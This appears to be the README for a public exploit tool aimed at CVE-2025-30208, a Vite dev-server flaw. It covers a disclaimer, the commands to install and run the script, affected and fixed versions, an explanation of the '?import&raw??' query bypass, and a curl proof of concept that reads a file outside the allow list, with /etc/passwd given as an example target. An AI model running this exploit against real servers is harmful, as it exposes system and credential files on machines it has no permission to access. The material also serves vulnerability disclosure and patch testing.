[!IMPORTANT]
免责声明
此漏洞利用程序仅用于教育和道德安全测试目的。未经事先双方同意而对目标使用此漏洞利用程序是非法的,开发者不承担因滥用或由此漏洞利用程序造成的损害的任何责任。
git clone https://github.com/On1onss/CVE-2025-30208.git
cd CVE-2025-30208
pip install -r requirements.txt
python CVE-2025-30208.py [-h] [-t <Target URL>] [-fp <File Path>] [-i]
options:
-h, --help show this help message and exit
-t <Target URL> Example: -t http://localhost:5173/
-fp <File Path> Example: -fp /etc/passwd
-i Interactive mode
>= 6.2.0, < 6.2.3
>= 6.1.0, < 6.1.2
>= 6.0.0, < 6.0.12
>= 5.0.0, < 5.4.15
< 4.5.10
6.2.3
6.1.2
6.0.12
5.4.15
4.5.10
任意文件的内容可被返回给浏览器。
仅明确将 Vite 开发服务器暴露到网络(使用 --host 或 server.host 配置选项)的应用程序会受到影响。
@fs 会拒绝访问 Vite 提供白名单之外的文件。在 URL 中添加 ?raw?? 或 ?import&raw?? 可绕过此限制,并在文件存在时返回其内容。此绕过之所以存在,是因为诸如 ? 之类的尾部分隔符在多个位置被移除,但未在查询字符串正则表达式中加以考虑。
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
# sourceMappingURL=data:application/json;base64,eyJ2...